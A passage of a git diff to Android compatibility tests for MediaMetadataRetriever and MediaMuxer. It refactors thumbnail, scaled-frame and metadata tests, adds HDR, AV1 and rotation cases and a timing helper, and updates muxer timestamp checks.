+        assertEquals("Video height was other than expected",
+                "360",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT));
+
+        assertEquals("Video width was other than expected",
+                "480",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH));
+
+        assertEquals("Video rotation was other than expected",
+                "0",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION));
+
+        assertEquals("Mime type was other than expected",
+                "video/mp4",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
+
+        assertNull("Location was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
+
+        assertNull("EXIF length was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_EXIF_LENGTH));
+
+        assertNull("EXIF offset was unexpectedly present",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_EXIF_OFFSET));
+
         assertNull("Writer was unexpectedly present",
                 mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_WRITER));
     }
@@ -194,12 +336,37 @@
 
     }
 
-    public void testLargeAlbumArt() {
+    public void testGetEmbeddedPicture() {
         setDataSourceFd(R.raw.largealbumart);
 
         assertNotNull("couldn't retrieve album art", mRetriever.getEmbeddedPicture());
     }
 
+    public void testSetDataSourcePath() {
+        File outputFile = new File(Environment.getExternalStorageDirectory(), "retriever_test.3gp");
+        try {
+            recordMedia(outputFile);
+            mRetriever.setDataSource(outputFile.getAbsolutePath());
+        } catch (Exception ex) {
+            fail("Failed setting data source with path, caught exception:" + ex);
+        } finally {
+            outputFile.delete();
+        }
+    }
+
+    public void testSetDataSourceUri() {
+        File outputFile = new File(Environment.getExternalStorageDirectory(), "retriever_test.3gp");
+        try {
+            recordMedia(outputFile);
+            Uri uri = Uri.parse(outputFile.getAbsolutePath());
+            mRetriever.setDataSource(getContext(), uri);
+        } catch (Exception ex) {
+            fail("Failed setting data source with Uri, caught exception:" + ex);
+        } finally {
+            outputFile.delete();
+        }
+    }
+
     public void testSetDataSourceNullPath() {
         try {
             mRetriever.setDataSource((String)null);
@@ -209,6 +376,15 @@
         }
     }
 
+    public void testSetDataSourceNullUri() {
+        try {
+            mRetriever.setDataSource(getContext(), (Uri)null);
+            fail("Expected IllegalArgumentException.");
+        } catch (IllegalArgumentException ex) {
+            // Expected, test passed.
+        }
+    }
+
     public void testNullMediaDataSourceIsRejected() {
         try {
             mRetriever.setDataSource((MediaDataSource)null);
@@ -245,51 +421,133 @@
         }
     }
 
-    private void testThumbnail(int resId) {
+    private void testThumbnail(int resId, int targetWdith, int targetHeight) {
+        testThumbnail(resId, null /*outPath*/, targetWdith, targetHeight);
+    }
+
+    private void testThumbnail(int resId, String outPath, int targetWidth, int targetHeight) {
+        Stopwatch timer = new Stopwatch();
+
         if (!MediaUtils.hasCodecForResourceAndDomain(getContext(), resId, "video/")) {
             MediaUtils.skipTest("no video codecs for resource");
             return;
         }
 
-        MediaMetadataRetriever retriever = new MediaMetadataRetriever();
-        Resources resources = getContext().getResources();
-        AssetFileDescriptor afd = resources.openRawResourceFd(resId);
+        setDataSourceFd(resId);
 
-        retriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+        timer.start();
+        Bitmap thumbnail = mRetriever.getFrameAtTime(-1 /* timeUs (any) */);
+        timer.end();
+        timer.printDuration("getFrameAtTime");
 
-        try {
-            afd.close();
-        } catch (IOException e) {
-            fail("Unable to open file");
+        assertNotNull(thumbnail);
+
+        // Verifies bitmap width and height.
+        assertEquals("Video width was other than expected", Integer.toString(targetWidth),
+            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH));
+        assertEquals("Video height was other than expected", Integer.toString(targetHeight),
+            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT));
+
+        // save output file if needed
+        if (outPath != null) {
+            FileOutputStream out = null;
+            try {
+                out = new FileOutputStream(outPath);
+            } catch (FileNotFoundException e) {
+                fail("Can't open output file");
+            }
+
+            thumbnail.compress(Bitmap.CompressFormat.PNG, 100, out);
+
+            try {
+                out.flush();
+                out.close();
+            } catch (IOException e) {
+                fail("Can't close file");
+            }
         }
-
-        assertNotNull(retriever.getFrameAtTime(-1 /* timeUs (any) */));
     }
 
     public void testThumbnailH264() {
-        testThumbnail(R.raw.bbb_s4_1280x720_mp4_h264_mp31_8mbps_30fps_aac_he_mono_40kbps_44100hz);
+        testThumbnail(
+                R.raw.bbb_s4_1280x720_mp4_h264_mp31_8mbps_30fps_aac_he_mono_40kbps_44100hz,
+                1280,
+                720);
     }
 
     public void testThumbnailH263() {
-        testThumbnail(R.raw.video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_11025hz);
+        testThumbnail(R.raw.video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_11025hz, 176, 144);
     }
 
     public void testThumbnailMPEG4() {
-        testThumbnail(R.raw.video_1280x720_mp4_mpeg4_1000kbps_25fps_aac_stereo_128kbps_44100hz);
+        testThumbnail(
+                R.raw.video_1280x720_mp4_mpeg4_1000kbps_25fps_aac_stereo_128kbps_44100hz,
+                1280,
+                720);
     }
 
     public void testThumbnailVP8() {
-        testThumbnail(R.raw.bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz);
+        testThumbnail(
+                R.raw.bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz,
+                640,
+                360);
     }
 
     public void testThumbnailVP9() {
-        testThumbnail(R.raw.bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz);
+        testThumbnail(
+                R.raw.bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz,
+                640,
+                360);
     }
 
     public void testThumbnailHEVC() {
-        testThumbnail(R.raw.bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz);
+        testThumbnail(
+                R.raw.bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz,
+                720,
+                480);
     }
 
+    public void testThumbnailVP9Hdr() {
+        testThumbnail(R.raw.video_1280x720_vp9_hdr_static_3mbps, 1280, 720);
+    }
+
+    public void testThumbnailAV1Hdr() {
+        testThumbnail(R.raw.video_1280x720_av1_hdr_static_3mbps, 1280, 720);
+    }
+
+    public void testThumbnailHDR10() {
+        testThumbnail(R.raw.video_1280x720_hevc_hdr10_static_3mbps, 1280, 720);
+    }
+
+    private void testThumbnailWithRotation(int resId, int targetRotation) {
+        Stopwatch timer = new Stopwatch();
+
+        if (!MediaUtils.hasCodecForResourceAndDomain(getContext(), resId, "video/")) {
+            MediaUtils.skipTest("no video codecs for resource");
+            return;
+        }
+
+        setDataSourceFd(resId);
+
+        assertEquals("Video rotation was other than expected", Integer.toString(targetRotation),
+            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION));
+
+        timer.start();
+        Bitmap thumbnail = mRetriever.getFrameAtTime(-1 /* timeUs (any) */);
+        timer.end();
+        timer.printDuration("getFrameAtTime");
+
+        verifyVideoFrameRotation(thumbnail, targetRotation);
+    }
+
+    public void testThumbnailWithRotation() {
+        int[] resIds = {R.raw.video_h264_mpeg4_rotate_0, R.raw.video_h264_mpeg4_rotate_90,
+                R.raw.video_h264_mpeg4_rotate_180, R.raw.video_h264_mpeg4_rotate_270};
+        int[] targetRotations = {0, 90, 180, 270};
+        for (int i = 0; i < resIds.length; i++) {
+            testThumbnailWithRotation(resIds[i], targetRotations[i]);
+        }
+    }
 
     /**
      * The following tests verifies MediaMetadataRetriever.getFrameAtTime behavior.
@@ -365,10 +623,15 @@
     }
 
     private void testGetFrameAtTimeEditList(int option, int[][] testCases) {
+        MediaMetadataRetriever.BitmapParams params = new MediaMetadataRetriever.BitmapParams();
+        params.setPreferredConfig(Bitmap.Config.ARGB_8888);
+
         testGetFrameAtEditList(testCases, (r) -> {
             List<Bitmap> bitmaps = new ArrayList<>();
             for (int i = 0; i < testCases.length; i++) {
-                bitmaps.add(r.getFrameAtTime(testCases[i][0], option));
+                Bitmap bitmap = r.getFrameAtTime(testCases[i][0], option, params);
+                assertEquals(Bitmap.Config.ARGB_8888, params.getActualConfig());
+                bitmaps.add(bitmap);
             }
             return bitmaps;
         });
@@ -422,56 +685,30 @@
 
     private void testGetFrameAt(int[][] testCases,
             Function<MediaMetadataRetriever, List<Bitmap> > bitmapRetriever) {
-        int resId = R.raw.binary_counter_320x240_30fps_600frames;
-        if (!MediaUtils.hasCodecForResourceAndDomain(getContext(), resId, "video/")
-            && mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
-            MediaUtils.skipTest("no video codecs for resource on watch");
-            return;
-        }
-
-        MediaMetadataRetriever retriever = new MediaMetadataRetriever();
-        Resources resources = getContext().getResources();
-        AssetFileDescriptor afd = resources.openRawResourceFd(resId);
-
-        retriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-        try {
-            afd.close();
-        } catch (IOException e) {
-            fail("Unable to close file");
-        }
-
-        List<Bitmap> bitmaps = bitmapRetriever.apply(retriever);
-
-        for (int i = 0; i < testCases.length; i++) {
-            verifyVideoFrame(bitmaps.get(i), testCases[i]);
-        }
-        retriever.release();
+        testGetFrameAt(R.raw.binary_counter_320x240_30fps_600frames,
+                testCases, bitmapRetriever);
     }
 
     private void testGetFrameAtEditList(int[][] testCases,
             Function<MediaMetadataRetriever, List<Bitmap> > bitmapRetriever) {
-        int resId = R.raw.binary_counter_320x240_30fps_600frames_editlist;
+        testGetFrameAt(R.raw.binary_counter_320x240_30fps_600frames_editlist,
+                testCases, bitmapRetriever);
+    }
+
+    private void testGetFrameAt(int resId, int[][] testCases,
+            Function<MediaMetadataRetriever, List<Bitmap> > bitmapRetriever) {
         if (!MediaUtils.hasCodecForResourceAndDomain(getContext(), resId, "video/")
             && mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
             MediaUtils.skipTest("no video codecs for resource on watch");
             return;
         }
 
-        MediaMetadataRetriever retriever = new MediaMetadataRetriever();
-        Resources resources = getContext().getResources();
-        AssetFileDescriptor afd = resources.openRawResourceFd(resId);
-        retriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-        try {
-            afd.close();
-        } catch (IOException e) {
-            fail("Unable to close file");
-        }
+        setDataSourceFd(resId);
 
-        List<Bitmap> bitmaps = bitmapRetriever.apply(retriever);
+        List<Bitmap> bitmaps = bitmapRetriever.apply(mRetriever);
         for (int i = 0; i < testCases.length; i++) {
             verifyVideoFrame(bitmaps.get(i), testCases[i]);
         }
-        retriever.release();
     }
 
     private void verifyVideoFrame(Bitmap bitmap, int[] testCase) {
@@ -488,9 +725,91 @@
         }
     }
 
+    private void verifyVideoFrameRotation(Bitmap bitmap, int targetRotation) {
+        try {
+            assertTrue("Failed to get bitmap for " + targetRotation + " degrees", bitmap != null);
+            assertTrue("Frame incorrect for " + targetRotation + " degrees",
+                CodecUtils.VerifyFrameRotationFromBitmap(bitmap, targetRotation));
+
+            if (SAVE_BITMAP_OUTPUT) {
+                CodecUtils.saveBitmapToFile(bitmap, "test_rotation_" + targetRotation + ".jpg");
+            }
+        } catch (Exception e) {
+            fail("Exception getting bitmap: " + e);
+        }
+    }
+
     /**
      * The following tests verifies MediaMetadataRetriever.getScaledFrameAtTime behavior.
      */
+    public void testGetScaledFrameAtTimeWithInvalidResolutions() {
+        int[] resIds = {R.raw.binary_counter_320x240_30fps_600frames,
+                R.raw.binary_counter_320x240_30fps_600frames_editlist,
+                R.raw.bbb_s4_1280x720_mp4_h264_mp31_8mbps_30fps_aac_he_mono_40kbps_44100hz,
+                R.raw.video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_11025hz,
+                R.raw.video_1280x720_mp4_mpeg4_1000kbps_25fps_aac_stereo_128kbps_44100hz,
+                R.raw.bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz,
+                R.raw.bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz,
+                R.raw.bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz,
+                R.raw.video_1280x720_vp9_hdr_static_3mbps,
+                R.raw.video_1280x720_av1_hdr_static_3mbps,
+                R.raw.video_1280x720_hevc_hdr10_static_3mbps};
+        int[][] resolutions = {{0, 120}, {-1, 0}, {-1, 120}, {140, -1}, {-1, -1}};
+        int[] options =
+                {OPTION_CLOSEST, OPTION_CLOSEST_SYNC, OPTION_NEXT_SYNC, OPTION_PREVIOUS_SYNC};
+
+        for (int resId : resIds) {
+            if (!MediaUtils.hasCodecForResourceAndDomain(getContext(), resId, "video/")
+                    && mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+                MediaUtils.skipTest("no video codecs for resource on watch");
+                continue;
+            }
+
+            setDataSourceFd(resId);
+
+            for (int i = 0; i < resolutions.length; i++) {
+                int width = resolutions[i][0];
+                int height = resolutions[i][1];
+                for (int option : options) {
+                    try {
+                        Bitmap bitmap = mRetriever.getScaledFrameAtTime(
+                                2066666 /*timeUs*/, option, width, height);
+                        fail("Failed to receive exception");
+                    } catch (IllegalArgumentException e) {
+                        // Expect exception
+                    }
+                }
+            }
+        }
+    }
+
+    private void testGetScaledFrameAtTime(int scaleToWidth, int scaleToHeight,
+            int expectedWidth, int expectedHeight, Bitmap.Config config) {
+        MediaMetadataRetriever.BitmapParams params = null;
+        Bitmap bitmap = null;
+        if (config != null) {
+            params = new MediaMetadataRetriever.BitmapParams();
+            params.setPreferredConfig(config);
+            bitmap = mRetriever.getScaledFrameAtTime(
+                    2066666 /*timeUs */, OPTION_CLOSEST, scaleToWidth, scaleToHeight, params);
+        } else {
+            bitmap = mRetriever.getScaledFrameAtTime(
+                    2066666 /*timeUs */, OPTION_CLOSEST, scaleToWidth, scaleToHeight);
+        }
+        if (bitmap == null) {
+            fail("Failed to get scaled bitmap");
+        }
+        if (SAVE_BITMAP_OUTPUT) {
+            CodecUtils.saveBitmapToFile(bitmap, String.format("test_%dx%d.jpg",
+                    expectedWidth, expectedHeight));
+        }
+        if (config != null) {
+            assertEquals("Actual config is wrong", config, params.getActualConfig());
+        }
+        assertEquals("Bitmap width is wrong", expectedWidth, bitmap.getWidth());
+        assertEquals("Bitmap height is wrong", expectedHeight, bitmap.getHeight());
+    }
+
     public void testGetScaledFrameAtTime() {
         int resId = R.raw.binary_counter_320x240_30fps_600frames;
         if (!MediaUtils.hasCodecForResourceAndDomain(getContext(), resId, "video/")
@@ -499,175 +818,26 @@
             return;
         }
 
-        MediaMetadataRetriever retriever = new MediaMetadataRetriever();
-        Resources resources = getContext().getResources();
-        AssetFileDescriptor afd = resources.openRawResourceFd(resId);
-
-        retriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-        try {
-            afd.close();
-        } catch (IOException e) {
-            fail("Unable to close file");
-        }
-
-        try {
-            Bitmap bitmap = retriever.getScaledFrameAtTime(
-                    2066666 /*timeUs*/ , OPTION_CLOSEST, 0 /*width*/, 120 /*height*/);
-            fail("Failed to receive exception");
-        } catch (IllegalArgumentException e) {
-            // Expect exception
-        }
-
-        try {
-            Bitmap bitmap = retriever.getScaledFrameAtTime(
-                    2066666 /*timeUs*/ , OPTION_CLOSEST, -1 /*width*/, 0 /*height*/);
-            fail("Failed to receive exception");
-        } catch (IllegalArgumentException e) {
-            // Expect exception
-        }
-
-        try {
-            Bitmap bitmap = retriever.getScaledFrameAtTime(
-                    2066666 /*timeUs*/ , OPTION_CLOSEST, -1 /*width*/, 120 /*height*/);
-            fail("Failed to receive exception");
-        } catch (IllegalArgumentException e) {
-            // Expect exception
-        }
-
-        try {
-            Bitmap bitmap = retriever.getScaledFrameAtTime(
-                2066666 /*timeUs */, OPTION_CLOSEST, 140 /*width*/, -1 /*height*/);
-            fail("Failed to receive exception");
-        } catch (IllegalArgumentException e) {
-            // Expect exception
-        }
-
-        try {
-            Bitmap bitmap = retriever.getScaledFrameAtTime(
-                2066666 /*timeUs */, OPTION_CLOSEST, -1 /*width*/, -1 /*height*/);
-            fail("Failed to receive exception");
-        } catch (IllegalArgumentException e) {
-            // Expect exception
-        }
+        setDataSourceFd(resId);
+        MediaMetadataRetriever.BitmapParams params = new MediaMetadataRetriever.BitmapParams();
 
         // Test desided size of 160 x 120. Return should be 160 x 120
-        try {
-            Bitmap bitmap = retriever.getScaledFrameAtTime(
-                2066666 /*timeUs */, OPTION_CLOSEST, 160 /*width*/, 120 /*height*/);
-            if (bitmap == null) {
-                fail("Failed to get scaled bitmap");
-            }
-            if (SAVE_BITMAP_OUTPUT) {
-                CodecUtils.saveBitmapToFile(bitmap, "test_160x120" + ".jpg");
-            }
-
-            if (bitmap.getWidth() != 160 /* width */) {
-                fail("Bitmap width is " + bitmap.getWidth() + "Expect: 160");
-            }
-            if (bitmap.getHeight() != 120 /* height */) {
-                fail("Bitmap height is " + bitmap.getHeight() + "Expect: 120");
-            }
-
-        } catch (Exception e) {
-            fail("Exception getting bitmap: " + e);
-        }
+        testGetScaledFrameAtTime(160, 120, 160, 120, Bitmap.Config.ARGB_8888);
 
         // Test scaled up bitmap to 640 x 480. Return should be 640 x 480
-        try {
-            Bitmap bitmap = retriever.getScaledFrameAtTime(
-                2066666 /*timeUs */, OPTION_CLOSEST, 640 /*width*/, 480 /*height*/);
-            if (bitmap == null) {
-                fail("Failed to get scaled bitmap");
-            }
-            if (SAVE_BITMAP_OUTPUT) {
-                CodecUtils.saveBitmapToFile(bitmap, "test_640x480" + ".jpg");
-            }
-
-            if (bitmap.getWidth() != 640 /* width */) {
-                fail("Bitmap width is " + bitmap.getWidth() + "Expect: 640");
-            }
-            if (bitmap.getHeight() != 480 /* height */) {
-                fail("Bitmap height is " + bitmap.getHeight() + "Expect: 480");
-            }
-
-        } catch (Exception e) {
-            fail("Exception getting bitmap: " + e);
-        }
+        testGetScaledFrameAtTime(640, 480, 640, 480, Bitmap.Config.ARGB_8888);
 
         // Test scaled up bitmap to 320 x 120. Return should be 160 x 120
-        try {
-            Bitmap bitmap = retriever.getScaledFrameAtTime(
-                2066666 /*timeUs */, OPTION_CLOSEST, 320 /*width*/, 120 /*height*/);
-            if (bitmap == null) {
-                fail("Failed to get scaled bitmap");
-            }
-            if (SAVE_BITMAP_OUTPUT) {
-                CodecUtils.saveBitmapToFile(bitmap, "test_320x120" + ".jpg");
-            }
-
-            if (bitmap.getWidth() != 160 /* width */) {
-                fail("Bitmap width is " + bitmap.getWidth() + "Expect: 160");
-            }
-            if (bitmap.getHeight() != 120 /* height */) {
-                fail("Bitmap height is " + bitmap.getHeight() + "Expect: 120");
-            }
-
-        } catch (Exception e) {
-            fail("Exception getting bitmap: " + e);
-        }
+        testGetScaledFrameAtTime(320, 120, 160, 120, Bitmap.Config.RGB_565);
 
         // Test scaled up bitmap to 160 x 240. Return should be 160 x 120
-        try {
-            Bitmap bitmap = retriever.getScaledFrameAtTime(
-                2066666 /*timeUs */, OPTION_CLOSEST, 160 /*width*/, 240 /*height*/);
-            if (bitmap == null) {
-                fail("Failed to get scaled bitmap");
-            }
-            if (SAVE_BITMAP_OUTPUT) {
-                CodecUtils.saveBitmapToFile(bitmap, "test_160x240" + ".jpg");
-            }
-
-            if (bitmap.getWidth() != 160 /* width */) {
-                fail("Bitmap width is " + bitmap.getWidth() + "Expect: 160");
-            }
-            if (bitmap.getHeight() != 120 /* height */) {
-                fail("Bitmap height is " + bitmap.getHeight() + "Expect: 120");
-            }
-
-        } catch (Exception e) {
-            fail("Exception getting bitmap: " + e);
-        }
+        testGetScaledFrameAtTime(160, 240, 160, 120, Bitmap.Config.RGB_565);
 
         // Test scaled the video with aspect ratio
         resId = R.raw.binary_counter_320x240_720x240_30fps_600frames;
-        afd = resources.openRawResourceFd(resId);
+        setDataSourceFd(resId);
 
-        retriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-        try {
-            afd.close();
-        } catch (IOException e) {
-            fail("Unable to close file");
-        }
-        try {
-            Bitmap bitmap = retriever.getScaledFrameAtTime(
-                2066666 /*timeUs */, OPTION_CLOSEST, 330 /*width*/, 240 /*height*/);
-            if (bitmap == null) {
-                fail("Failed to get scaled bitmap");
-            }
-            if (SAVE_BITMAP_OUTPUT) {
-                CodecUtils.saveBitmapToFile(bitmap, "test_330x240" + ".jpg");
-            }
-
-            if (bitmap.getWidth() != 330 /* width */) {
-                fail("Bitmap width is " + bitmap.getWidth() + "Expect: 330");
-            }
-            if (bitmap.getHeight() != 110 /* height */) {
-                fail("Bitmap height is " + bitmap.getHeight() + "Expect: 110");
-            }
-
-        } catch (Exception e) {
-            fail("Exception getting bitmap: " + e);
-        }
+        testGetScaledFrameAtTime(330, 240, 330, 110, null);
     }
 
     public void testGetImageAtIndex() throws Exception {
@@ -701,37 +871,32 @@
             int resId, int width, int height, int rotation,
             int imageCount, int primary, boolean useGrid, boolean checkColor)
                     throws Exception {
-        MediaMetadataRetriever retriever = null;
+        Stopwatch timer = new Stopwatch();
         MediaExtractor extractor = null;
         AssetFileDescriptor afd = null;
         InputStream inputStream = null;
 
         try {
-            retriever = new MediaMetadataRetriever();
-
-            Resources resources = getContext().getResources();
-            afd = resources.openRawResourceFd(resId);
-
-            retriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+            setDataSourceFd(resId);
 
             // Verify image related meta keys.
-            String hasImage = retriever.extractMetadata(
+            String hasImage = mRetriever.extractMetadata(
                     MediaMetadataRetriever.METADATA_KEY_HAS_IMAGE);
             assertTrue("No images found in resId " + resId, "yes".equals(hasImage));
             assertEquals("Wrong width", width,
-                    Integer.parseInt(retriever.extractMetadata(
+                    Integer.parseInt(mRetriever.extractMetadata(
                             MediaMetadataRetriever.METADATA_KEY_IMAGE_WIDTH)));
             assertEquals("Wrong height", height,
-                    Integer.parseInt(retriever.extractMetadata(
+                    Integer.parseInt(mRetriever.extractMetadata(
                             MediaMetadataRetriever.METADATA_KEY_IMAGE_HEIGHT)));
             assertEquals("Wrong rotation", rotation,
-                    Integer.parseInt(retriever.extractMetadata(
+                    Integer.parseInt(mRetriever.extractMetadata(
                             MediaMetadataRetriever.METADATA_KEY_IMAGE_ROTATION)));
             assertEquals("Wrong image count", imageCount,
-                    Integer.parseInt(retriever.extractMetadata(
+                    Integer.parseInt(mRetriever.extractMetadata(
                             MediaMetadataRetriever.METADATA_KEY_IMAGE_COUNT)));
             assertEquals("Wrong primary index", primary,
-                    Integer.parseInt(retriever.extractMetadata(
+                    Integer.parseInt(mRetriever.extractMetadata(
                             MediaMetadataRetriever.METADATA_KEY_IMAGE_PRIMARY)));
 
             if (checkColor) {
@@ -740,7 +905,10 @@
                 // Also check the position of the color block, which should move left-to-right
                 // with the index.
                 for (int imageIndex = 0; imageIndex < imageCount; imageIndex++) {
-                    bitmap = retriever.getImageAtIndex(imageIndex);
+                    timer.start();
+                    bitmap = mRetriever.getImageAtIndex(imageIndex);
+                    timer.end();
+                    timer.printDuration("getImageAtIndex");
 
                     for (int barIndex = 0; barIndex < COLOR_BARS.length; barIndex++) {
                         Rect r = getColorBarRect(barIndex, width, height);
@@ -759,7 +927,12 @@
 
                 // Check the color block position on the primary image.
                 Rect r = getColorBlockRect(primary, width, height);
-                bitmap = retriever.getPrimaryImage();
+
+                timer.start();
+                bitmap = mRetriever.getPrimaryImage();
+                timer.end();
+                timer.printDuration("getPrimaryImage");
+
                 assertTrue("Color block for primary image doesn't match",
                         approxEquals(COLOR_BLOCK, Color.valueOf(
                                 bitmap.getPixel(r.centerX(), height - r.centerY()))));
@@ -778,6 +951,8 @@
             // Check the grid configuration related keys.
             if (useGrid) {
                 extractor = new MediaExtractor();
+                Resources resources = getContext().getResources();
+                afd = resources.openRawResourceFd(resId);
                 extractor.setDataSource(
                         afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
                 MediaFormat format = extractor.getTrackFormat(0);
@@ -793,9 +968,6 @@
         } catch (IOException e) {
             fail("Unable to open file");
         } finally {
-            if (retriever != null) {
-                retriever.release();
-            }
             if (extractor != null) {
                 extractor.release();
             }
@@ -807,4 +979,51 @@
             }
         }
     }
+
+    private void recordMedia(File outputFile) throws Exception {
+        MediaRecorder mr = new MediaRecorder();
+        try {
+            mr.setAudioSource(MediaRecorder.AudioSource.MIC);
+            mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+            mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
+            mr.setOutputFile(outputFile.getAbsolutePath());
+
+            mr.prepare();
+            mr.start();
+            Thread.sleep(SLEEP_TIME);
+            mr.stop();
+        } finally {
+            mr.release();
+        }
+    }
+
+    private class Stopwatch {
+        private long startTimeMs;
+        private long endTimeMs;
+        private boolean isStartCalled;
+
+        public Stopwatch() {
+            startTimeMs = endTimeMs = 0;
+            isStartCalled = false;
+        }
+
+        public void start() {
+            startTimeMs = System.currentTimeMillis();
+            isStartCalled = true;
+        }
+
+        public void end() {
+            endTimeMs = System.currentTimeMillis();
+            if (!isStartCalled) {
+                Log.e(TAG, "Error: end() must be called after start()!");
+                return;
+            }
+            isStartCalled = false;
+        }
+
+        public void printDuration(String functionName) {
+            long duration = endTimeMs - startTimeMs;
+            Log.i(TAG, String.format("%s() took %d ms.", functionName, duration));
+        }
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaMuxerTest.java b/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
index c873691..670bb16 100644
--- a/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
@@ -314,7 +314,8 @@
             // No start offsets for any track.
             cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
                 MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, null);
-            verifyTimestampsWithSamplesDropSet(sourceId, outputFilePath, null, null);
+            verifyTSWithSamplesDropAndStartOffset(
+                    sourceId, true /* has B frames */, outputFilePath, null, null);
         } finally {
             new File(outputFilePath).delete();
         }
@@ -335,7 +336,8 @@
             // No start offsets for any track.
             cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
                 MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, samplesDropSet, null);
-            verifyTimestampsWithSamplesDropSet(sourceId, outputFilePath, samplesDropSet, null);
+            verifyTSWithSamplesDropAndStartOffset(
+                    sourceId, true /* has B frames */, outputFilePath, samplesDropSet, null);
         } finally {
             new File(outputFilePath).delete();
         }
@@ -358,7 +360,8 @@
             // No start offsets for any track.
             cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
                 MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, samplesDropSet, null);
-            verifyTimestampsWithSamplesDropSet(sourceId, outputFilePath, samplesDropSet, null);
+            verifyTSWithSamplesDropAndStartOffset(
+                    sourceId, true /* has B frames */, outputFilePath, samplesDropSet, null);
         } finally {
             new File(outputFilePath).delete();
         }
@@ -379,7 +382,8 @@
             // No start offsets for any track.
             cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
                 MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, samplesDropSet, null);
-            verifyTimestampsWithSamplesDropSet(sourceId, outputFilePath, samplesDropSet, null);
+            verifyTSWithSamplesDropAndStartOffset(
+                    sourceId, true /* has B frames */, outputFilePath, samplesDropSet, null);
         } finally {
             new File(outputFilePath).delete();
         }
@@ -402,7 +406,8 @@
             // No start offsets for any track.
             cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
                 MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, samplesDropSet, null);
-            verifyTimestampsWithSamplesDropSet(sourceId, outputFilePath, samplesDropSet, null);
+            verifyTSWithSamplesDropAndStartOffset(
+                    sourceId, true /* has B frames */, outputFilePath, samplesDropSet, null);
         } finally {
             new File(outputFilePath).delete();
         }
@@ -424,7 +429,8 @@
             startOffsetUsVect.add(0);
             cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
                 MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, startOffsetUsVect);
-            verifyTimestampsWithSamplesDropSet(sourceId, outputFilePath, null, startOffsetUsVect);
+            verifyTSWithSamplesDropAndStartOffset(
+                    sourceId, true /* has B frames */, outputFilePath, null, startOffsetUsVect);
         } finally {
             new File(outputFilePath).delete();
         }
@@ -446,7 +452,104 @@
             startOffsetUsVect.add(400000);
             cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
                 MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, startOffsetUsVect);
-            verifyTimestampsWithSamplesDropSet(sourceId, outputFilePath, null, startOffsetUsVect);
+            verifyTSWithSamplesDropAndStartOffset(
+                    sourceId, true /* has B frames */, outputFilePath, null, startOffsetUsVect);
+        } finally {
+            new File(outputFilePath).delete();
+        }
+    }
+
+    /**
+     * Test: make sure if audio/video muxing using MPEG4Writer works when audio
+     * samples start later than video.
+     */
+    public void testTimestampsStartOffsetAudio() throws Exception {
+        int sourceId = R.raw.video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz;
+        String outputFilePath =
+                File.createTempFile("MediaMuxerTest_testTimestampsStartOffsetAudio", ".mp4")
+                        .getAbsolutePath();
+        try {
